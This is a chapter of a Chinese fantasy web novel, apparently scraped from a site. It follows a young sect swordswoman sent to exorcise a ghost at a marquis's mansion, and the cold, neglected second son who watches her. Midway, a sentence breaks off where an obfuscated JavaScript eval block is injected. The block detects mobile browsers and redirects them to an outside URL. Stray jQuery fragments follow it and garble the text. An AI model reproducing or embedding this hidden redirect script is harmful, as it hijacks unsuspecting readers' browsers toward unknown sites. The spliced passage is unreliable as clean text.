32. 我是谁

作品:《仙门公敌自救攻略

    十四年前。帝都怀远侯府。


    “能行吗,芽儿丁点的,瞧着还没长公子大呢,”


    “听说人家可是凌霄宗掌门的爱徒,还是独苗,应该没问题吧?”


    几个负责洒扫的下人凑在一起低声议论,这里是帝都,大户人家的人,即便是下人也总会以雇主家的富贵地位自居。


    程衍当然听见了,但也只能无奈地笑笑。


    还有三个月她才过十五岁生辰,若是按照仙门修士的标准而言,的确还只是个不懂事的孩子。


    是以这一回下山,临行前她的师傅,也是凌霄宗现任掌门人,不忘特意出关嘱托自己除去邪祟后即使收手,切莫插手无关的事,她全都伶俐地应下来。


    自她八岁拜入凌霄宗至今,就没见过师傅几面。她总是带着自己那把黑鞘的长剑,日复一日地闭关修炼,以至于就连程衍开蒙入门都是大师兄宋无咎负责。


    师徒二人两三个月才见一回。她的剑术在同门之中一向是第一,可师傅却似乎并不愿意教她剑术,也不教心法,只是给自己讲许多分不清真假的神话故事,或是一些缥缈难解的经文大道,声音空灵而遥远,听得程衍常欲睡昏昏。


    别人早已与前辈一同下山历练之时,她还是在山上读那些晦涩生硬的天书古籍直到今日。


    这还是她第一次独自下山除祟,虽然并不厌烦读书,但每一个用剑的剑修对亲自仗剑诛邪这种事,总归是有些跃跃欲试的。


    世家大族出得起钱,遇见不干净的东西砸点钱,请名门修士除祟做法事是再正常不过的事情,许多门派也喜欢借此攀附关系各取所需。但凌霄宗门人从不与外人交际,法事也向来分文不取,已是人尽皆知的。


    她才到帝都,负责接应的管家早就已经在大门前候着了。


    “小仙长里边请,可候着您大驾了这是。侯爷正在里头等着呢,叫我在外面应着,这边来。”


    “是么,那真是麻烦您了。”她笑了笑,初次独行难免有些拘束。


    早听说怀远侯家财万贯,果真就连大门都是朱漆金饰,闪烁夺目。两侧立石狮足有人高。


    前夜才下了雪,但府内地上却早就被扫得七七八八,连冰棱都被敲了个干净。


    两人穿行在通往正厅的长廊下。此时下人们来往着步履匆忙。


    程衍第一次见这样连门环都要镶金嵌玉的铺张,一时间看得有些呆了。凌霄宗在三清山上的仙府历经百余年,建制虽典雅有余,但若论奢华大气就大大的不足了。


    转过一处月洞门到了正厅前,一个与程衍年纪相仿,穿金戴银的小公子与一群下人在门前,见了人当即挂着笑招呼上来:


    “这位就是凌霄宗来的仙师了吧?里头已经备好热茶,父亲正等着呢。这些日子大家都被那脏东西扰的辛苦,真是千盼万盼才将您盼来!”


    “长公子好。”那管家说完躬身告退了。


    程衍才知道这少年叫沈耀,是这家的长子。她报上名号,避开了那人热情的有些过分的手。


    除去亲近的几人,她一向不喜欢与旁人接触太多。


    两人寒暄几句正要进屋去,程衍转头随意一扫,怎知在这亮堂的冬日之下,忽地出现了一抹黑。


    遥遥望去,是个长相白皙俊秀的孩子。


    他只是安安静静地抱着剑,在那边树下站着,略低着头,既不看她也不看其他人,其他人也像看不见他一样,从他面前来来回回穿行而过。


    对长得好看的人她总是不吝多看上两眼的,怎知对方却突然抬起头来。


    两人目光相接的一瞬间,她看见了一双如墨般漆黑的眼,在雪后的晴空之下像是刺人的枪戟。带着不该是这个年纪的冷漠,叫人突地心头一惊。


    他脸色苍白,神情倔强而倨傲,像只不许人亲近的小豹子。


    “请问沈公子,那位是……”


    沈耀与她同岁,今日殷勤着上前招待,就是想和这个仙门里出来的会法术的漂亮姑娘多说几句话,怎知她居然开口就先问府上那不招人待见的弟弟,顿时心生不满。


    “这是我二弟,放心,也不是外人。”


    “是么。外面这么冷,他为什么不进屋里来?”程衍奇怪道。


    “这孩子性子就这样,天生不亲人,你喊他也不会理你,程姑娘不必在意。咱们先进去就行。”


    “啊,可是——”


    那男孩显然耳朵非常敏锐,已经听到了这里的话。他冷哼一声,转眼就跑不见了。动作迅速而矫健,人已经没了,残影还未消。


    程衍望着那个人消失的黑影摇了摇头。不知道为什么,突然觉得这孩子其实有些孤独。


    沈渊跑过两条回廊,在一处无人小院里找个地方歇下,怀里抱着他的剑。


    他喜欢一个人待着,静静地听去听天上的鸟叫或地上的蝉鸣,置身其中,好像自己也成了天地间的一部分,让他很心安。


    不用去管其他人的冷言冷语,也不用去被那些异样的眼光打量。


    但现在是隆冬,昨夜还下过雪。没有鸟也没有蝉,更没有任何活物,连落雪的声音都没有,


    因为他的父亲是个规矩到近乎刻板的人,不允许一切不规矩的东西在家中出现。包括积雪,这会显得很不规整。尽管这个“家”里最不规矩的或许就是这位老侯爷本人。


    他找了个舒服地方,从怀里摸出一本已经卷页了的小说话本静静地读。


    在家里从没人愿意和他多说话,他也一样。相比起来,他更愿意花时间看这些话本子,看里面的主角仗剑天涯打遍天下,成为一代宗师的豪气故事,主角又大多是仙门修士。


    他忽然想到了刚刚那个女孩子。她便是这几天府里盼了多日的仙师了。


    自这个上旬起,家里总是有很多奇怪的事情。先是府里莫名其妙地丢东西,再是父亲与大夫人整夜噩梦缠身,直至前些天,数名下人自称夜里在后院见到一个浑身皮肤溃烂的水鬼喊着侯爷的名字,吓得父亲当夜就遣人到三清山上请凌霄宗的仙师出马。


    为什么?因为他心里有鬼。


    他曾经在外面与一个女人春风数度,并承诺将她接到帝都安养,怎知那女人苦等数年不见人来,寻到帝都找上家门,却在大庭广众之下被下人赶出侯府,从大门前一脚踢到街上,那女人万念俱灰之下当日就投湖自尽。她唯一的家人闹到官府,最后拿了十两白银抹了抹眼泪,步伐轻快地回家去了。


    十两银子,就这样买了一个人的尊严,又买了一个人的生死,而她本人甚至半分拿不到。


    如今想来是自己这个爹以为这一回是那女人的冤魂化鬼来报复他,所以才这般害怕的。


    对此沈渊只觉得全是自己父亲自作自受。做着活该遭报应的丧良心的事,却又没那个胆量承担后果。简直丢人至极。这世上许多人岂非都是如此?


    可惜无论缘由为何,邪祟鬼怪总是不容于人世,除祟杀鬼是理所应当的事情。


    所以今日,那个女孩子就到了。


    听下人说她是凌霄宗掌门的爱徒,可看起来不过与长兄年纪相仿,实在和话本里白发苍苍或威风凛凛的仙人修士未免差的有些多了。


    那个女孩子看向自己的眼中带着探究与好奇,讲话的声音很轻很柔软,在这个冬日的午后,听起来就像一片羽毛落在心间,与平日对自己冷言相待的亲人,


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15972871|176885||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    或淡漠的下人大不相同。


    话音里的关心是真切的,像是一点火星,烫得他一时有些不知所措,这才会转身跑走。


    这个时候,他们应该在正厅里商量该如何抓住那个在府内作乱的冤魂恶鬼邪祟,或是管他什么东西。


    但这个“家”不管发生什么事都是与自己无关的。那个人来做什么,自然也与自己无关。


    是以他也不再多想,换了个姿势,将手中的书翻了一页。


    毕竟父亲不喜欢他,他也不喜欢这个爹。


    沈氏世代侯爵,在京中也算名门。现在这位怀远侯得蒙祖上荫蔽混了个官职,可惜却志不在此,年少起就整日飞鹰走狗流连花丛,年纪大了也依旧不改。


    从沈渊有记忆起,自己家中里里外外,除了父亲一同饮酒赌钱的狐朋狗友,就是各种各样的女人。年纪大的小的都有。


    据说曾经这个爹还是很喜欢自己母亲的,但从他出生以后,父亲就没再正眼看过她了。


    母亲也不并非没尝试过什么,他三岁时,在父亲生辰当日。母亲叫他端着一碗长寿面送到房中去,似乎是想试图唤起些曾经的什么回忆,叫那个男人能感念什么往昔回心转意。


    事后证明,这种事能感动的只有自己。


    因为他听话地去了,然后看着自己的亲爹搂着一个陌生女人醉得人事不省,见他来打扰自己好事,怒意横生,吐着酒气一巴掌打翻了那碗面,又将他甩倒在地上。


    于是这个女人终于彻底心灰意冷,留下孩子,勾搭上一个府内路过的客人夜里私奔了。


    出了这种丢人事,侯府上下对外虽缄默不言,对内却越看那女人留下的孩子越不对劲。


    老侯爷有九个孩子,他排第二,却只有长公子是大夫人生的。


    这样的家庭里,孩子们之间的关系总是不会太好,尤其是他这样不喜欢与人交往的类型。


    何况沈渊似乎天生就与他人不同,性子生冷,无论是对亲人,还是对下人,永远只是静静地睁着那双纯黑色的眼,你看着他时,恍然间会有种在直视无底深渊的错觉,叫人心底生寒,全不是一个小孩该有的样子。


    更不像他的兄弟姐妹一样会说讨人欢心的体己话。唯独有人喊他是连亲妈都不要的野孩子时,那双眼之中才会闪过一丝少见的情绪,像是只愤怒的小兽。


    可他无法反驳,毕竟这就是事实。那日他在屋顶上,偶然间偷听到父亲与又一个他不认识的女人咬耳朵。


    那女人漫不经心地笑他跟孩子置气,“再怎么说也是你亲生的。就当他是只小猫小狗,这么养着呗。”


    “猫狗还知道来舔舔手,他呢?呵。他把我当爹么,怕不是当仇人了。喂口饭吃饿不死就够。行了行了,良辰美景,提这些扫兴的干什么。”


    屋里的声音变得让人愈发难以忍受。他在屋顶上紧攥着拳,一言不发。


    甚至就连下人们悄悄聚在一起议论,说他一个孩子。“整日用这样的眼神看人,真叫人胆寒。长大了该成什么样?”


    日久天长,就连下人都对这个不受宠的二公子没什么尊重和好脸色了。


    沈渊也不在乎。他一个人也乐得清净。


    就连现在,其他人都聚在正厅里见那个年轻的修士他也懒得参与。反正除去那邪祟后她就会走了,多看几眼又有什么用?


    怎知傍晚开始星星点点的雪花又零散地飘落,入夜时已经积了薄薄一层了。


    他难得觉得有些冷了,正想从房顶下去回屋,突然听见那个轻柔如羽毛的声音从下面响起:


    “二公子这么晚怎么还不休息,快些回去吧。夜里只怕会有些不干净的东西呢。”